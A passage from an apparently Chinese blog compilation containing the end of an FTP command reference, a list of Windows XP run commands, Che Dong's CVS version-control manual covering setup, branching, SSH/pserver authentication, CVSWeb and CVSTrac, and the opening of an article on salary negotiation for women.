    51.rhelp[cmd-name]:请求获得远程主机的帮助。
    52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

    53.rename[from][to]:更改远程主机文件名。
    54.reset:清除回答队列。

    55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
    56.rmdir dir-name:删除远程主机目录。

    57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
    58.send local-file[remote-file]:同put。

    59.sendport:设置PORT命令的使用。
    60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。

    61.size file-name:显示远程主机文件大小,如:site idle 7200。
    62.status:显示当前ftp状态。

    63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
    64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

    65.system:显示远程主机的操作系统类型。
    66.tenex:将文件传输类型设置为TENEX机的所需的类型。

    67.tick:设置传输时的字节计数器。
    68.trace:设置包跟踪。

    69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
    70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

    71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email
    72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

    73.?[cmd]:同help.

    #11 十一:

    7:计算机运行命令全集 winver---------检查Windows版本
    wmimgmt.msc----打开windows管理体系结构
    wupdmgr--------windows更新程序
    winver---------检查Windows版本
    wmimgmt.msc----打开windows管理体系结构
    wupdmgr--------windows更新程序
    wscrīpt--------windows脚本宿主设置
    write----------写字板winmsd-----系统信息
    wiaacmgr-------扫描仪和照相机向导
    winchat--------XP自带局域网聊天
    mem.exe--------显示内存使用情况
    Msconfig.exe---系统配置实用程序
    mplayer2-------简易widnows media player
    mspaint--------画图板
    mstsc----------远程桌面连接
    mplayer2-------媒体播放机
    magnify--------放大镜实用程序
    mmc------------打开控制台
    mobsync--------同步命令
    dxdiag---------检查DirectX信息
    drwtsn32------ 系统医生
    devmgmt.msc--- 设备管理器
    dfrg.msc-------磁盘碎片整理程序
    diskmgmt.msc---磁盘管理实用程序
    dcomcnfg-------打开系统组件服务
    ddeshare-------打开DDE共享设置
    dvdplay--------DVD播放器
    net stop messenger-----停止信使服务
    net start messenger----开始信使服务
    notepad--------打开记事本
    nslookup-------网络管理的工具向导
    ntbackup-------系统备份和还原
    narrator-------屏幕"讲述人"
    ntmsmgr.msc----移动存储管理器
    ntmsoprq.msc---移动存储管理员操作请求
    netstat -an----(TC)命令检查接口
    syncapp--------创建一个公文包
    sysedit--------系统配置编辑器
    sigverif-------文件签名验证程序
    sndrec32-------录音机
    shrpubw--------创建共享文件夹
    secpol.msc-----本地安全策略
    syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
    services.msc---本地服务设置
    Sndvol32-------音量控制程序
    sfc.exe--------系统文件检查器
    sfc /scannow---windows文件保护
    tsshutdn-------60秒倒计时关机命令
    tourstart------xp简介(安装完成后出现的漫游xp程序)
    taskmgr--------任务管理器
    eventvwr-------事件查看器
    eudcedit-------造字程序
    explorer-------打开资源管理器
    packager-------对象包装程序
    perfmon.msc----计算机性能监测程序
    progman--------程序管理器
    regedit.exe----注册表
    rsop.msc-------组策略结果集
    regedt32-------注册表编辑器
    rononce -p ----15秒关机
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持
    cmd.exe--------CMD命令提示符
    chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序
    calc-----------启动计算器
    charmap--------启动字符映射表
    cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器
    conf-----------启动netmeeting
    compmgmt.msc---计算机管理
    cleanmgr-------**整理
    ciadv.msc------索引服务程序
    osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器
    oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组
    logoff---------注销命令
    iexpress-------木马捆绑工具,系统自带
    Nslookup-------IP地址侦测器
    fsmgmt.msc-----共享文件夹管理器
    utilman--------辅助工具管理器
    gpedit.msc-----组策略

  • CVS使用手册

    2007-07-09 20:43:46

    CVS使用手册

    作者: 车东

    http://www.chedong.com/tech/cvs_card.html

    关键词:CVS CVSWeb CVSTrac WinCVS CVSROOT

    内容摘要:

    CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。工作模式如下:

           CVS服务器(文件版本库)
    / | \
    (版 本 同 步)
    / | \
    开发者1 开发者2 开发者3

    作为一般开发人员挑选2,6看就可以了,CVS的管理员则更需要懂的更多一些,最后还简单介绍了一些Windows下的cvs客户端使用,CVS远程用户认证的选择及与BUG跟踪系统等开发环境的集成问题。

    1. CVS环境初始化:CVS环境的搭建 管理员
    2. CVS的日常使用:日常开发中最常用的CVS命令, 开发人员 管理员
    3. CVS的分支开发:项目按照不同进度和目标并发进行 管理员
    4. CVS的用户认证:通过SSH的远程用户认证,安全,简单 管理员
    5. CVSWEB:CVS的WEB访问界面大大提高代码版本比较的效率 管理员
    6. CVS TAG:将$Id$ 加入代码注释中,方便开发过程的跟踪开发人员
    7. CVS vs VSS: CVS和Virsual SourceSafe的比较 开发人员 管理员
    8. WinCVS: 通过SSH认证的WinCVS认证设置
    9. 基于CVSTrac的小组开发环境搭建:通过CVSTrac实现web界面的CVS用户管理,集成的BUG跟踪和WIKI交流
    10. CVS中的用户权限管理:基于系统用户的CVS权限管理和基于CVSROOT/passwd的虚拟用户管理

    一个系统20%的功能往往能够满足80%的需求,CVS也不例外,以下是CVS最常用的功能,可能还不到它全部命令选项的20%,作为一般开发人员平时会用cvs update和cvs commit就够了,更多的需求在实际应用过程中自然会出现,不时回头看看相关文档经常有意外的收获。


    CVS环境初始化

    环境设置:指定CVS库的路径CVSROOT

    tcsh
    setenv CVSROOT /path/to/cvsroot
    bash
    CVSROOT=/path/to/cvsroot ; export CVSROOT

    后面还提到远程CVS服务器的设置:
    CVSROOT=:ext:$USER@test.server.address#port:/path/to/cvsroot CVS_RSH=ssh; export CVSROOT CVS_RSH

    初始化:CVS版本库的初始化。
    cvs init

    一个项目的首次导入
    cvs import -m "write some comments here" project_name vendor_tag release_tag
    执行后:会将所有源文件及目录导入到/path/to/cvsroot/project_name目录下
    vender_tag: 开发商标记
    release_tag: 版本发布标记

    项目导出:将代码从CVS库里导出
    cvs checkout project_name
    cvs 将创建project_name目录,并将最新版本的源代码导出到相应目录中。这个checkout和Virvual SourceSafe中的check out不是一个概念,相对于Virvual SourceSafe的check out是cvs update, check in是cvs commit。

    CVS的日常使用

    注意:第一次导出以后,就不是通过cvs checkout来同步文件了,而是要进入刚才cvs checkout project_name导出的project_name目录下进行具体文件的版本同步(添加,修改,删除)操作。

    将文件同步到最新的版本
    cvs update
    不制定文件名,cvs将同步所有子目录下的文件,也可以制定某个文件名/目录进行同步
    cvs update file_name
    最好每天开始工作前或将自己的工作导入到CVS库里前都要做一次,并养成“先同步 后修改”的习惯,和Virvual SourceSafe不同,CVS里没有文件锁定的概念,所有的冲突是在commit之前解决,如果你修改过程中,有其他人修改并commit到了CVS 库中,CVS会通知你文件冲突,并自动将冲突部分用
    >>>>>>
    content on cvs server
    <<<<<<
    content in your file
    >>>>>>
    标记出来,由你确认冲突内容的取舍。
    版本冲突一般是在多个人修改一个文件造成的,但这种项目管理上的问题不应该指望由CVS来解决。

    确认修改写入到CVS库里
    cvs commit -m "write some comments here" file_name

    注意:CVS的很多动作都是通过cvs commit进行最后确认并修改的,最好每次只修改一个文件。在确认的前,还需要用户填写修改注释,以帮助其他开发人员了解修改的原因。如果不用写-m "comments"而直接确认`cvs commit file_name` 的话,cvs会自动调用系统缺省的文字编辑器(一般是vi)要求你写入注释。
    注释的质量很重要:所以不仅必须要写,而且必须写一些比较有意义的内容:以方便其他开发人员能够很好的理解
    不好的注释,很难让其他的开发人员快速的理解:比如: -m "bug fixed" 甚至 -m ""
    好的注释,甚至可以用中文: -m "在用户注册过程中加入了Email地址校验"


    修改某个版本注释:每次只确认一个文件到CVS库里是一个很好的习惯,但难免有时候忘了指定文件名,把多个文件以同样注释commit到CVS库里了,以下命令可以允许你修改某个文件某个版本的注释:
    cvs admin -m 1.3:"write some comments here" file_name

    添加文件
    创建好新文件后,比如:touch new_file
    cvs add new_file
    注意:对于图片,Word文档等非纯文本的项目,需要使用cvs add -kb选项按2进制文件方式导入(k表示扩展选项,b表示binary),否则有可能出现文件被破坏的情况
    比如:
    cvs add -kb new_file.gif
    cvs add -kb readme.doc

    如果关键词替换属性在首次导入时设置错了怎么办?
    cvs admin -kkv new_file.css

    然后确认修改并注释
    cvs ci -m "write some comments here"

    删除文件
    将某个源文件物理删除后,比如:rm file_name
    cvs rm file_name
    然后确认修改并注释
    cvs ci -m "write some comments here"
    以上面前2步合并的方法为:
    cvs rm -f file_name
    cvs ci -m "why delete file"
    注意:很多cvs命令都有缩写形式:commit=>ci; update=>up; checkout=>co/get; remove=>rm;

    添加目录
    cvs add dir_name

    查看修改历史
    cvs log file_name
    cvs history file_name

    查看当前文件不同版本的区别
    cvs diff -r1.3 -r1.5 file_name
    查看当前文件(可能已经修改了)和库中相应文件的区别
    cvs diff file_name
    cvs的web界面提供了更方便的定位文件修改和比较版本区别的方法,具体安装设置请看后面的cvsweb使用

    正确的通过CVS恢复旧版本的方法
    如果用cvs update -r1.2 file.name
    这个命令是给file.name加一个STICK TAG: "1.2" ,虽然你的本意只是想将它恢复到1.2版本
    正确的恢复版本的方法是:cvs update -p -r1.2 file_name >file_name
    如果不小心已经加成STICK TAG的话:用cvs update -A 解决

    移动文件/文件重命名
    cvs里没有cvs move或cvs rename,因为这两个操作是可以由先cvs remove old_file_name,然后cvs add new_file_name实现的。

    删除/移动目录
    最方便的方法是让管理员直接移动,删除CVSROOT里相应目录(因为CVS一个项目下的子目录都是独立的,移动到$CVSROOT目录下都可以作为新的独立项目:好比一颗树,其实砍下任意一枝都能独立存活),对目录进行了修改后,要求其开发人员重新导出项目cvs checkout project_name 或者用cvs update -dP同步。

    项目发布导出不带CVS目录的源文件
    做开发的时候你可能注意到了,每个开发目录下,CVS都创建了一个CVS/目录。里面有文件用于记录当前目录和CVS库之间的对应信息。但项目发布的时候你一般不希望把文件目录还带着含有CVS信息的CVS目录吧,这个一次性的导出过程使用cvs export命令,不过export只能针对一个TAG或者日期导出,比如:
    cvs export -r release1 project_name
    cvs export -D 20021023 project_name
    cvs export -D now project_name

    CVS Branch:项目多分支同步开发

    确认版本里程碑:多个文件各自版本号不一样,项目到一定阶段,可以给所有文件统一指定一个阶段里程碑版本号,方便以后按照这个阶段里程碑版本号导出项目,同时也是项目的多个分支开发的基础。

    cvs tag release_1_0

    开始一个新的里程碑
    cvs commit -r 2 标记所有文件开始进入2.x的开发

    注意:CVS里的revsion和软件包的发布版本可以没有直接的关系。但所有文件使用和发布版本一致的版本号比较有助于维护。

    版本分支的建立
    在开发项目的2.x版本的时候发现1.x有问题,但2.x又不敢用,则从先前标记的里程碑:release_1_0导出一个分支 release_1_0_patch
    cvs rtag -b -r release_1_0 release_1_0_patch proj_dir

    一些人先在另外一个目录下导出release_1_0_patch这个分支:解决1.0中的紧急问题,
    cvs checkout -r release_1_0_patch
    而其他人员仍旧在项目的主干分支2.x上开发

    在release_1_0_patch上修正错误后,标记一个1.0的错误修正版本号
    cvs tag release_1_0_patch_1

    如果2.0认为这些错误修改在2.0里也需要,也可以在2.0的开发目录下合并release_1_0_patch_1中的修改到当前代码中:
    cvs update -j release_1_0_patch_1

    CVS的远程认证通过SSH远程访问CVS

    使用cvs本身基于pserver的远程认证很麻烦,需要定义服务器和用户组,用户名,设置密码等,

    常见的登陆格式如下:
    cvs -d :pserver:cvs_user_name@cvs.server.address:/path/to/cvsroot login
    例子:
    cvs -d :pserver:cvs@samba.org:/cvsroot login

    不是很安全,因此一般是作为匿名只读CVS访问的方式。从安全考虑,通过系统本地帐号认证并通过SSH传输是比较好的办法,通过在客户机的 /etc/profile里设置一下内容:
    CVSROOT=:ext:$USER@cvs.server.address#port:/path/to/cvsroot CVS_RSH=ssh; export CVSROOT CVS_RSH
    所有客户机所有本地用户都可以映射到CVS服务器相应同名帐号了。

    比如:

    CVS服务器是192.168.0.3,上面CVSROOT路径是/home/cvsroot,另外一台开发客户机是192.168.0.4,如果 tom在2台机器上都有同名的帐号,那么从192.168.0.4上设置了:
    export CVSROOT=:ext:tom@192.168.0.3:/home/cvsroot
    export CVS_RSH=ssh
    tom就可以直接在192.168.0.4上对192.168.0.3的cvsroot进行访问了(如果有权限的话)
    cvs checkout project_name
    cd project_name
    cvs update
    ...
    cvs commit

    如果CVS所在服务器的SSH端口不在缺省的22,或者和客户端与CVS服务器端SSH缺省端口不一致,有时候设置了:
    :ext:$USER@test.server.address#port:/path/to/cvsroot

    仍然不行,比如有以下错误信息:
    ssh: test.server.address#port: Name or service not known
    cvs [checkout aborted]: end of file from server (consult above messages if any)

    解决的方法是做一个脚本指定端口转向(不能使用alias,会出找不到文件错误):
    创建一个/usr/bin/ssh_cvs文件,假设远程服务器的SSH端口是非缺省端口:34567
    #!/bin/sh
    /usr/bin/ssh -p 34567 "$@"
    然后:chmod +x /usr/bin/ssh_cvs
    并CVS_RSH=ssh_cvs; export CVS_RSH

    注意:port是指相应服务器SSH的端口,不是指cvs专用的pserver的端口

    CVSWEB:提高文件浏览效率

    CVSWEB就是CVS的WEB界面,可以大大提高程序员定位修改的效率:

    使用的样例可以看:http://www.freebsd.org/cgi/cvsweb.cgi

    CVSWEB的下载:CVSWEB从最初的版本已经演化出很多功能界面更丰富的版本,这个是我个人感觉安装设置比较方便的:
    原先在:http://www.spaghetti-code.de/software/linux/cvsweb/,但目前已经删除,目前仍可以在本站下载CVSWEB,其实最近2年FreeBSD的CVSWeb项目已经有了更好的发展吧,而当初没有用FreeBSD那个版本主要就是因为没有彩色的文件Diff功能。
    下载解包:
    tar zxf cvsweb.tgz
    把配置文件cvsweb.conf放到安全的地方(比如和apache的配置放在同一个目录下),
    修改:cvsweb.cgi让CGI找到配置文件:
    $config = $ENV{'CVSWEB_CONFIG'} || '/path/to/apache/conf/cvsweb.conf';

    转到/path/to/apache/conf下并修改cvsweb.conf:

    1. 修改CVSROOT路径设置:
      %CVSROOT = (
      'Development' => '/path/to/cvsroot', #<==修改指向本地的CVSROOT
      );
    2. 缺省不显示已经删除的文档:
      "hideattic" => "1",#<==缺省不显示已经删除的文档
    3. 在配置文件cvsweb.conf中还可以定制页头的描述信息,你可以修改$long_intro成你需要的文字

    CVSWEB可不能随便开放给所有用户,因此需要使用WEB用户认证:
    先生成 passwd:
    /path/to/apache/bin/htpasswd -c cvsweb.passwd user

    修改httpd.conf: 增加
    <Directory "/path/to/apache/cgi-bin/cvsweb/">
    AuthName "CVS Authorization"
    AuthType Basic
    AuthUserFile /path/to/cvsweb.passwd
    require valid-user
    </Directory>

    CVS TAGS: $Id: cvs_card.html,v 1.5 2003/03/09 08:41:46 chedong Exp $

    将$Id: cvs_card.html,v 1.9 2003/11/09 07:57:11 chedong Exp $ 加在程序文件开头的注释里是一个很好的习惯,cvs能够自动解释更新其中的内容成:file_name version time user_name 的格式,比如:cvs_card.txt,v 1.1 2002/04/05 04:24:12 chedong Exp,可以这些信息了解文件的最后修改人和修改时间


    几个常用的缺省文件:
    default.php
    <?php
    /*
    * Copyright (c) 2002 Company Name.
    * $Header: /home/cvsroot/tech/cvs_card.html,v 1.9 2003/11/09 07:57:11 chedong Exp $
    */

    ?>
    ====================================
    Default.java: 注意文件头一般注释用 /* 开始 JAVADOC注释用 /** 开始的区别
    /*
    * Copyright (c) 2002 MyCompany Name.
    * $Header: /home/cvsroot/tech/cvs_card.html,v 1.9 2003/11/09 07:57:11 chedong Exp $
    */

    package com.mycompany;

    import java.;

    /**
    * comments here
    */
    public class Default {
    /**
    * Comments here
    * @param
    * @return
    */
    public toString() {

    }
    }
    ====================================
    default.pl:
    #!/usr/bin/perl -w
    # Copyright (c) 2002 Company Name.
    # $Header: /home/cvsroot/tech/cvs_card.html,v 1.9 2003/11/09 07:57:11 chedong Exp $

    # file comments here

    use strict;

    CVS vs VSS

    CVS没有文件锁定模式,VSS在check out同时,同时记录了文件被导出者锁定。

    CVS的update和commit, VSS是get_lastest_version和check in

    对应VSS的check out/undo check out的CVS里是edit和unedit

    在CVS中,标记自动更新功能缺省是打开的,这样也带来一个潜在的问题,就是不用-kb方式添加binary文件的话在cvs自动更新时可能会导致文件失效。

    $Header: /home/cvsroot/tech/cvs_card.html,v 1.5 2003/03/09 08:41:46 chedong Exp $ $Date: 2003/11/09 07:57:11 $这样的标记在Virsual SourceSafe中称之为Keyword Explaination,缺省是关闭的,需要通过OPITION打开,并指定需要进行源文件关键词扫描的文件类型:*.txt,*.java, *.html...

    对于Virsual SourceSafe和CVS都通用的TAG有:
    $Header: /home/cvsroot/tech/cvs_card.html,v 1.5 2003/03/09 08:41:46 chedong Exp $
    $Author: chedong $
    $Date: 2003/11/09 07:57:11 $
    $Revision: 1.9 $

    我建议尽量使用通用的关键词保证代码在CVS和VSS都能方便的跟踪。

    WinCVS

    下载:

    cvs Windows客户端:目前稳定版本为1.2
    http://cvsgui.sourceforge.net
    ssh Windows客户端
    http://www.networksimplicity.com/openssh/

    安装好以上2个软件以后:
    WinCVS客户端的admin==>preference设置
    1 在general选单里
    设置CVSROOT: username@192.168.0.123:/home/cvsroot
    设置Authorization: 选择SSH server

    2 Port选单里
    钩上:check for alternate rsh name
    并设置ssh.exe的路径,缺省是装在 C:\Program Files\NetworkSimplicity\ssh\ssh.exe

    然后就可以使用WinCVS进行cvs操作了,所有操作都会跳出命令行窗口要求你输入服务器端的认证密码。

    当然,如果你觉得这样很烦的话,还有一个办法就是生成一个没有密码的公钥/私钥对,并设置CVS使用基于公钥/私钥的SSH认证(在general 选单里)。

    可以选择的diff工具:examdiff
    下载:
    http://www.prestosoft.com/examdiff/examdiff.htm
    还是在WinCVS菜单admin==>preference的WinCVS选单里
    选上:Externel diff program
    并设置diff工具的路径,比如:C:\Program Files\ed16i\ExamDiff.exe
    在对文件进行版本diff时,第一次需要将窗口右下角的use externel diff选上。

    基于CVSTrac的小组开发环境搭建

    作为一个小组级的开发环境,版本控制系统和BUG跟踪系统等都涉及到用户认证部分。如何方便的将这些系统集成起来是一个非常困难的事情,毕竟我们不能指望 Linux下有像Source Offsite那样集成度很高的版本控制/BUG跟踪集成系统。

    我个人是很反对使用pserver模式的远程用户认证的,但如果大部分组员使用WINDOWS客户端进行开发的话,总体来说使用 CVSROOT/passwd认证还是很难避免的,但CVS本身用户的管理比较麻烦。本来我打算自己用perl写一个管理界面的,直到我发现了 CVSTrac:一个基于WEB界面的BUG跟踪系统,它外挂在CVS系统上的BUG跟踪系统,其中就包括了WEB界面的CVSROOT/passwd文件的管理,甚至还集成了WIKIWIKI讨论组功能。

    这里首先说一下CVS的pserver模式下的用户认证,CVS的用户认证服务是基于inetd中的:
    cvspserver stream tcp nowait apache /usr/bin/cvs cvs --allow-root=/home/cvsroot pserver
    一般在2401端口(这个端口号很好记:49的平方)

    CVS用户数据库是基于CVSROOT/passwd文件,文件格式:
    [username]:[crypt_password]:[mapping_system_user]
    由于密码都用的是UNIX标准的CRYPT加密,这个passwd文件的格式基本上是apache的htpasswd格式的扩展(比APACHE的 PASSWD文件多一个系统用户映射字段),所以这个文件最简单的方法可以用
    apache/bin/htpasswd -b myname mypassword
    创建。注意:通过htpasswd创建出来的文件会没有映射系统用户的字段
    例如:
    new:geBvosup/zKl2
    setup:aISQuNAAoY3qw
    test:hwEpz/BX.rEDU

    映射系统用户的目的在于:你可以创建一个专门的CVS服务帐号,比如用apache的运行用户apache,并将/home/cvsroot目录下的所有权限赋予这个用户,然后在passwd文件里创建不同的开发用户帐号,但开发用户帐号最后的文件读写权限都映射为apache用户,在SSH模式下多个系统开发用户需要在同一个组中才可以相互读写CVS库中的文件。

    进一步的,你可以将用户分别映射到apache这个系统用户上。
    new:geBvosup/zKl2:apache
    setup:aISQuNAAoY3qw:apache
    test:hwEpz/BX.rEDU:apache

    CVSTrac很好的解决了CVSROOT/passwd的管理问题,而且包含了BUG跟踪报告系统和集成WIKIWIKI交流功能等,使用的 CGI方式的安装,并且基于GNU Public License

    在inetd里加入cvspserver服务:
    cvspserver stream tcp nowait apache /usr/bin/cvs cvs --allow-root=/home/cvsroot pserver

    xietd的配置文件:%cat cvspserver
    service cvspserver
    {
    disable = no
    socket_type = stream
    wait = no
    user = apache
    server = /usr/bin/cvs
    server_args = -f --allow-root=/home/cvsroot pserver
    log_on_failure += USERID
    }

    注意:这里的用户设置成apache目的是和/home/cvsroot的所有用户一致,并且必须让这个这个用户对/home/cvsroot/下的 CVSROOT/passwd和cvstrac初始化生成的myproj.db有读取权限。

    安装过程

    1. 下载:可以从http://www.cvstrac.org 下载
      我用的是已经在Linux上编译好的应用程序包:cvstrac-1.1.2.bin.gz,
      %gzip -d cvstrac-1.1.2.bin.gz
      %chmod +x cvstrac-1.1.2.bin
      #mv cvstarc-1.1.1.bin /usr/bin/cvstrac
      如果是从源代码编译:
      从 http://www.sqlite.org/download.html 下载SQLITE的rpm包:
      rpm -i sqlite-devel-2.8.6-1.i386.rpm
      从 ftp://ftp.cvstrac.org/cvstrac/ 下载软件包
      解包,假设解包到/home/chedong/cvstrac-1.1.2下,并规划将cvstrac安装到/usr/local/bin目录下, cd /home/chedong/cvstrac-1.1.2 编辑linux-gcc.mk:
      修改:
      SRCDIR = /home/chedong/cvstrac-1.1.2
      INSTALLDIR = /usr/local/bin
      然后
      mv linux-gcc.mk Makefile
      make
      #make install

    2. 初始化cvstrac数据库:假设数据库名是 myproj
      在已经装好的CVS服务器上(CVS库这时候应该已经是初始化好了,比如:cvs init初始化在/home/cvsroot里),运行一下
      %cvstrac init /home/cvsroot myproj
      运行后,/home/cvsroot里会有一个的myproj.db库,使用CVSTRAC服务,/home/cvsroot/myproj.db /home/cvsroot/CVSROOT/readers /home/cvsroot/CVSROOT/writers /home/cvsroot/CVSROOT/passwd这几个文件对于web服务的运行用户应该是可写的,在RedHat8上,缺省就有一个叫 apache用户和一个apache组,所以在httpd.conf文件中设置了用apache用户运行web服务:
      User apache
      Group apache,
      然后设置属于apache用户和apache组
      #chown -R apache:apache /home/cvsroot
      -rw-r--r-- 1 apache apache 55296 Jan 5 19:40 myproj.db
      drwxrwxr-x 3 apache apache 4096 Oct 24 13:04 CVSROOT/
      drwxrwxr-x 2 apache apache 4096 Aug 30 19:47 some_proj/
      此外还在/home/cvsroot/CVSROOT中设置了:
      chmod 664 readers writers passwd
    3. 在apche/cgi-bin目录中创建脚本cvstrac:
      #!/bin/sh
      /usr/bin/cvstrac cgi /home/cvsroot
      设置脚本可执行:
      chmod +x /home/apache/cgi-bin/cvstrac
    4. 从 http://cvs.server.address/cgi-bin/cvstrac/myproj 进入管理界面
      缺省登录名:setup 密码 setup
      对于一般用户可以从:
      http://cvs.server.address/cgi-bin/cvstrac/myproj
    5. 在setup中重新设置了CVSROOT的路径后,/home/cvsroot
      如果是初次使用需要在/home/cvsroot/CVSROOT下创建passwd, readers, writers文件
      touch passwd readers writers
      然后设置属于apache用户,
      chown apache.apache passwd readers writers
      这样使用setup用户创建新用户后会同步更新CVSROOT/passwd下的帐号

    修改登录密码,进行BUG报告等,
    更多使用细节可以在使用中慢慢了解。

    对于前面提到的WinCVS在perference里设置:
    CVSROOT栏输入:username@ip.address.of.cvs:/home/cvsroot
    Authenitication选择:use passwd file on server side
    就可以了从服务器上进行CVS操作了。

    CVS的用户权限管理

    CVS的权限管理分2种策略:

    • 基于系统文件权限的系统用户管理:适合多个在Linux上使用系统帐号的开发人员进行开发。
    • 基于CVSROOT/passwd的虚拟用户管理:适合多个在Windows平台上的开发人员将帐号映射成系统帐号使用。
    为什么使用apache/apache用户?首先RedHat8中缺省就有了,而且使用这个用户可以方便通过cvstrac进行WEB管理。
    chown -R apache.apache /home/cvsroot
    chmod 775 /home/cvsroot

    Linux上通过ssh连接CVS服务器的多个开发人员:通过都属于apache组实现文件的共享读写
    开发人员有开发服务器上的系统帐号:sysuser1 sysuser2,设置让他们都属于apache组,因为通过cvs新导入的项目都是对组开放的:664权限的,这样无论那个系统用户导入的项目文件,只要文件的组宿主是apache,所有其他同组系统开发用户就都可以读写;基于ssh远程认证的也是一样。

       apache(system group)
    /            |           \
    sysuser1   sysuser2     sysuser3

    Windows上通过cvspserver连接CVS服务器的多个开发人员:通过在passwd文件种映射成 apache用户实现文件的共享读写
    他们的帐号通过CVSROOT/passwd和readers writers这几个文件管理;通过cvstrac设置所有虚拟用户都映射到apache用户上即可。

       apache(system user)
    /            |            \
    windev1     windev2      windev3             

    利用CVS WinCVS/CVSWeb/CVSTrac 构成了一个相对完善的跨平台工作组开发版本控制环境。

    相关资源:

    CVS HOME:
    http://www.cvshome.org

    CVS FAQ:
    http://www.loria.fr/~molli/cvs-index.html

    相关网站:
    http://directory.google.com/Top/Computers/Software/Configuration_Management/Tools/Concurrent_Versions_System/

    CVS--并行版本系统
    http://www.soforge.com/cvsdoc/zh_CN/book1.html

    CVS 免费书:
    http://cvsbook.red-bean.com/

    CVS命令的速查卡片 refcards.com/refcards/cvs/

    WinCVS:
    http://cvsgui.sourceforge.net/

    CVSTrac: A Web-Based Bug And Patch-Set Tracking System For CVS
    http://www.cvstrac.org

    StatCVS:基于CVS的代码统计工具:按代码量,按开发者的统计表等
    http://sourceforge.net/projects/statcvs
    如何在WEB开发中规划CVS上:在Google上查 "cvs web development"
    http://ccm.redhat.com/bboard-archive/cvs_for_web_development/index.html

    一些集成了CVS的IDE环境:
    Eclipse
    Magic C++

    原文出处:<a href="http://www.chedong.com/tech/cvs_card.html">http://www.chedong.com/tech/cvs

  • 女总裁告诉你:如何有个好“薪”情

    2007-06-22 23:27:01

    光想赚钱还不够尽管我想赚钱,尽管我有过工作经历,但对于商谈薪水和加薪的技巧,我还是不熟悉或者准备不足。这是很多女性的通病,因为我们所受的教育告诉我们:要钱是鄙俗或贪婪的表现;我们有时不相信自己的价值,觉得自己要求得太多。

      莱斯丽·格罗斯曼是女性领导交流协会的创建人之一。她说,人们以为只要他们从事自己热衷的事业,“金钱就会滚滚而来”,钞票就好像变魔术一般从他们的钱夹里生出来。她说持这种想法的女性很多,但现实是,金钱属于那些想方设法、积极主动去追求它的人们。无论这意味着要洽谈起步薪水、要求加薪,还是坚持推进一项有利可图的商业计划,得到你应得的报偿是有意识的努力和自信的结果。

      不幸的是,跟男人不一样,说到为自己争取利益,女性往往觉得特别不自在,甚至不应该。这可能就是为什么直至今日,男人能拿1美元,女人仍然只能拿到77美分。要是一个男人大学毕业后的起步工资是30000美元,你的起步工资是他的77%,假设你们俩每年都得到4%的加薪,到你俩65岁退休的时候,他会比你多拿750000美元。看看吧,这个工资差别还无足轻重吗?

       成功的要求:在要钱的时候克服不安心理。无形的不安感受会产生有形的经济后果。

       要求加薪

       好几次,老板交给我新的任务、新的头衔,或者公司内新的工作,可是只有几次他们才提到要加薪的事。我本来是有可能很爽快地接受不加薪水的任何工作变动的。

       在与第一商务公司的谈判中,我错误地透露了我当时的薪水,结果公司先给我开出的薪水跟客户经理的一样,实际上就是我以前的头衔、以前的薪水。作为回应,我准备了一番论据,说明我为什么值更多的钱。例如,我在萨柏瑞公司同许多大客户,如IBM、美林证券和摩根大通银行等建立的关系对第一商务公司会有价值的,因为我会带来新的客户。这样我的“价值”就不仅仅是我的专业技能,还有我的关系资源。我用这些那些理由来证明,为什么应该把我聘用为高级客户经理,应该有更高的薪金,可惜,他们不买我的账,只把我的基本工资和签约奖金稍稍提高了一点。

      因为我不愿意放弃第一商务公司的工作机会(我想为一家会赢利的英特网公司工作),虽然知道应该给我更高的位置,我还是接受了这份工作。几个月之后,我的老板一定认同了我的意见,告诉我:“祝贺你,你被提升为高级客户经理了。”我问什么时候会给我涨工资,他说提职就是对我的认可。我谢绝了,说我愿意继续保持原来的头衔,除非我的薪水与新责任相匹配。两周之后,新工资来了,新的头衔也来了。这次我要求了,我得到了自己应得的。

      从那次经历之后,我一直坚持一个原则:要是报酬不改变,我不会接受更大的工作责任。相反,要是经理们跟我谈话要我担任新的职务,我会这样说:“好呀,我很有兴趣,不过想谈谈我的各项补偿措施。我想这份新工作相当于主管级别,那我的薪水和股份会有什么变化?”我的话表达了对晋升的接受,还有我的自信,自信我应该得到更多的报酬,也会得到更多的报酬。我常常会接着说:“您能跟人力资源部咨询一下,问问这样的职位薪水最高能涨到多少?”我不记得有哪一次我这样问而没有得到回复。

      詹妮是一家大工业化工公司的客户经理,她讲了自己的故事:

      我第一次接受一份工作并商谈我的薪水的时候,老板告诉我,我是“最高薪”聘用的人,因为我有MBA学位。我信了他的话。工作几周后,我发现一个和我同时被聘用、级别相同的男士,没有MBA学位,居然比我的薪水还要高很多。我没有马上声张,决定先等一等,我要让事实证明我的价值。我开始把我所有的成绩一一记录下来,我做成的每一笔生意、别人没有做到而我发展的每一位新客户。到了该我总结自己业绩的时候,我将自己的成绩一一列出,强调我的业务范围最大、销售额最高——绝口不提我是惟一的女性。我告诉他们我希望涨40%的工资。他们同意了!我的老板告诉我,我太幸运了,因为公司历史上从没有一下子提薪超过4%的。幸运吗?我可不这样认为。我只是拿到了自己应得的!

      成功的要求:不增加报酬就不接受更长期的责任,除非有值得的其他补偿。如果你曾经要求加薪而被拒绝了,不要让这次经验使你今后闭口不提增加报酬的事。最终,你会得到你应得的。

      不要害怕听到“不”字

